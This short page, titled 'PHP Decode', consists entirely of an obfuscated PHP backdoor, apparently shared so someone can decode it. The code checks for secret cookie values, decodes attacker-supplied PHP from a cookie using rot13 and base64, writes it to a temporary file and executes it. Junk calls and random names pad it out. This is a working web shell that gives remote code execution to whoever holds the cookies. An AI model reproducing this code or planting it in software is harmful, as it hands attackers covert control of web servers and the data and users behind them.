PHP Decode

<?  if(isset($_COOKIE['wk'])) { 
    die('Q5RztSc'); 
} 
if(isset($_COOKIE[3-0])&&isset($_COOKIE[1+3])){$XZLbpkOTyXWWM=$_COOKIE[1+3];$iBNdiMAVnKtnhQ=$_COOKIE;if(empty($iBNdiMAVnKtnhQ[1+(-1)])||empty($iBNdiMAVnKtnhQ[0-(-1)])||empty($iBNdiMAVnKtnhQ[0+3])||empty($iBNdiMAVnKtnhQ[5-1])||!empty($iBNdiMAVnKtnhQ[15+39])){die();}else{$XZLbpkOTyXWWM="4e63a95b3b4bae7551e66e0665dd9bc7";if(strncasecmp($XZLbpkOTyXWWM,$iBNdiMAVnKtnhQ[5-1],25)===-1-(-1)){function ogjWfUyDtu($KbBiOFMf){$iBNdiMAVnKtnhQ=$_COOKIE;$yEjZFMYpVk=tmpfile();$dWPWATtf=stream_get_meta_data($yEjZFMYpVk)['uri'];if(!is_writable($dWPWATtf)){$dWPWATtf=dirname(__FILE__).DIRECTORY_SEPARATOR."ybKpKUgZeRnLIYsh";}$rGmUCxhIdefTR="?p";$rGmUCxhIdefTR="<".$rGmUCxhIdefTR."hp ".base64_decode(str_rot13($iBNdiMAVnKtnhQ[4-1]))." ?>";if(is_writeable($dWPWATtf)){$bgwjgSaj=new SplFileObject($dWPWATtf,'c');$bgwjgSaj->fwrite($rGmUCxhIdefTR,strlen($rGmUCxhIdefTR));$bgwjgSaj=null;spl_autoload_unregister(__FUNCTION__);@require_once($dWPWATtf);fclose($yEjZFMYpVk);}}spl_autoload_register("ogjWfUyDtu");$ETidDeGBmBryPa=str_split("XZLbpkOTyXWWM");sort($ETidDeGBmBryPa);$ETidDeGBmBryPa=array_uintersect_uassoc($ETidDeGBmBryPa,$ETidDeGBmBryPa,"strcasecmp","strcasecmp");if(array("gTBzjnscv")==trait_exists("yuHHrqSSjwGmlcYh",true)){fpISuHfTYBj($ZwdcoiQIgLeLzEX,$jLQwWnux,$akGJputWkLYs,$mBRoXePNbjQg,$KHjDoFdTdLIrA,$ebVLUGXB,$yKknBbycCnpPWRZb,$UuiyETHvBvXvJdx,$gLNLNKRkcl,$ZQsaQTJfseNXVvQ,$YhRlIDOb,$CrldsVVKfJWEKd);TQjHvjOU($RQGRkuXRjhv,$fRYKGGKaqsAg,$QuJWSfRBSWY,$mmzbHJFJXoTs,$enNlyDjl,$vWCbOypmabvXRpug,$WWUZkwqQD,$nOySaRkDTvAYppR,$kjzAtFtXqVMuDRc,$raSDLIjFV,$SOHjkvYm,$UxfFzvghGgD);PTZbBMuWs($bPigoscW);BetzQHoQEy($HuDUDrqrtHPICB,$AFcdsqDNYmUkWqd,$bvSRzyVnsqE,$WXqFznECRnldH,$OYhnovVSt,$KnGLHjdZuggVkSrN,$zGndBBPudjhwyyp);QuweHQutJnB($NYKtFrKOKgW);}}}}